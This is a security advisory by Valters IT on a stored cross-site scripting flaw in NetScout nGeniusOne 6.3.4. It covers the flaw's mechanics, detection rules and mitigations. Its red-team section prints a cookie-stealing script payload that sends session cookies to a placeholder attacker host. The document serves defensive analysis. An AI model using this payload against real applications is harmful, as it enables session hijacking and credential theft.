CVE-2023-27000

Executive Summary

CVE-2023-27000 describes a stored Cross-Site Scripting (XSS) vulnerability in NetScout nGeniusOne version 6.3.4. The flaw exists in the name parameter of the Profile and Exclusion List pages, allowing a remote attacker to inject arbitrary JavaScript code. Successful exploitation could lead to session hijacking, credential theft, or defacement within the context of the affected application. No public exploit code or proof-of-concept is currently available, and the vendor has not released a patch. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the risk remains for unpatched deployments.

CVSS Breakdown & Threat Level

The CVSS vector is not provided in the NVD data, and no official score has been assigned. Based on the vulnerability type (stored XSS) and typical impact, a reasonable estimate is:

• Attack Vector (AV): Network (N)
• Attack Complexity (AC): Low (L)
• Privileges Required (PR): Low (L) – requires authenticated access to the Profile/Exclusion List pages.
• User Interaction (UI): Required (R) – victim must view the malicious page.
• Scope (S): Changed (C) – attacker can execute actions in the victim’s session.
• Confidentiality (C): Low (L)
• Integrity (I): Low (L)
• Availability (A): None (N)

Estimated CVSS v3.1 Score: 5.4 (Medium)

Threat Level: Medium. The vulnerability requires authentication and user interaction, but stored XSS can lead to persistent compromise of administrative sessions.

Deep Dive & Mechanics

The vulnerability is a classic stored XSS (CWE-79) in the name parameter of the Profile and Exclusion List pages. When an authenticated user creates or edits a profile or exclusion list entry, the name field is not properly sanitized before being stored in the database. When another user (including administrators) views the list, the injected script executes in their browser.

Attack Flow:

1. Attacker authenticates to nGeniusOne.
2. Attacker navigates to the Profile or Exclusion List page.
3. Attacker injects a malicious payload (e.g., <script>alert('XSS')</script>) into the name parameter.
4. The payload is stored in the database.
5. When a victim (e.g., an admin) views the list, the script executes.
6. The script can steal session cookies, perform actions on behalf of the victim, or redirect to a phishing page.

Root Cause: Lack of input validation and output encoding on the name parameter. The application likely uses a templating engine that does not auto-escape user input.

Vulnerable vs. Patched Code

No patched version is available. The vulnerable code is presumed to be in the server-side handling of the name parameter. A typical vulnerable pattern in Java (common in enterprise apps) might look like:

// Vulnerable: directly outputs user input without encoding
String name = request.getParameter("name");
out.println("<td>" + name + "</td>");

A patched version would use proper output encoding:

// Patched: encode for HTML context
String name = request.getParameter("name");
out.println("<td>" + StringEscapeUtils.escapeHtml4(name) + "</td>");

Since no patch is available, users must implement compensating controls (see Remediation).

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to a NetScout nGeniusOne v6.3.4 instance with valid credentials.
• Knowledge of the Profile or Exclusion List page URL (e.g., /nGeniusOne/profile.jsp).

Exploitation Steps:

1. Log in to the nGeniusOne web interface.
2. Navigate to the Profile or Exclusion List management page.
3. In the name field, inject a payload such as:

   <script>new Image().src='http://attacker.com/steal?cookie='+document.cookie</script>
   

4. Save the entry.
5. Wait for an administrator to view the list, or share the link to the list.
6. The victim’s browser executes the script, sending their session cookie to the attacker’s server.

No public exploit code is available. The above is a generic XSS exploitation technique.

Blue Team

Detection:

• Monitor web application logs for unusual characters in the name parameter (e.g., <script>, onerror=, javascript:).
• Use a Web Application Firewall (WAF) to block common XSS patterns.
• Deploy Content Security Policy (CSP) headers to restrict script execution.

Hunting:

• Search for stored XSS payloads in the database by querying the name field for HTML/JavaScript patterns.
• Review access logs for repeated requests to the Profile/Exclusion List pages from the same IP.

Indicators of Compromise (IOCs)

• Network: Outbound HTTP requests to attacker-controlled domains from the nGeniusOne server.
• Logs: Web server logs containing <script> tags or encoded JavaScript in the name parameter.
• Database: Entries in the profile or exclusion list tables with HTML/JavaScript in the name column.
• File System: No file-based IOCs expected.

Detection Engineering

YARA Rule

rule Detect_NetScout_XSS_Payload {
    meta:
        description = "Detects XSS payloads in NetScout nGeniusOne name parameter"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2023-27000"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /on\w+\s*=\s*['"].*?['"]/is
        $xss3 = /javascript\s*:/is
    condition:
        any of them
}

Sigma Rule

title: NetScout nGeniusOne Stored XSS in Profile Name
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects XSS payloads in the name parameter of NetScout nGeniusOne
author: Valters IT
date: 2025-04-10
logsource:
    category: web
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'name='
        cs-uri-query|re: '(<script|on\w+=|javascript:)'
    condition: selection
falsepositives:
    - Legitimate use of HTML in name fields (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"NetScout nGeniusOne Stored XSS Attempt";
    flow:to_server,established;
    content:"name="; nocase;
    pcre:"/(<script|on\w+=|javascript:)/i";
    classtype:web-application-attack;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Isolate the nGeniusOne server from untrusted networks if possible.
2. Apply a Web Application Firewall (WAF) rule to block XSS patterns in the name parameter.
3. Restrict access to the Profile and Exclusion List pages to only trusted administrators.
4. Monitor logs for signs of exploitation.

Long-term Fix:

• Contact NetScout for an official patch or upgrade to a newer version.
• Implement input validation and output encoding in the application code if source is available.
• Deploy Content Security Policy (CSP) headers to mitigate XSS impact.

Workaround:

• Manually sanitize the name parameter in the database by removing HTML tags (this may break legitimate functionality).

Valters IT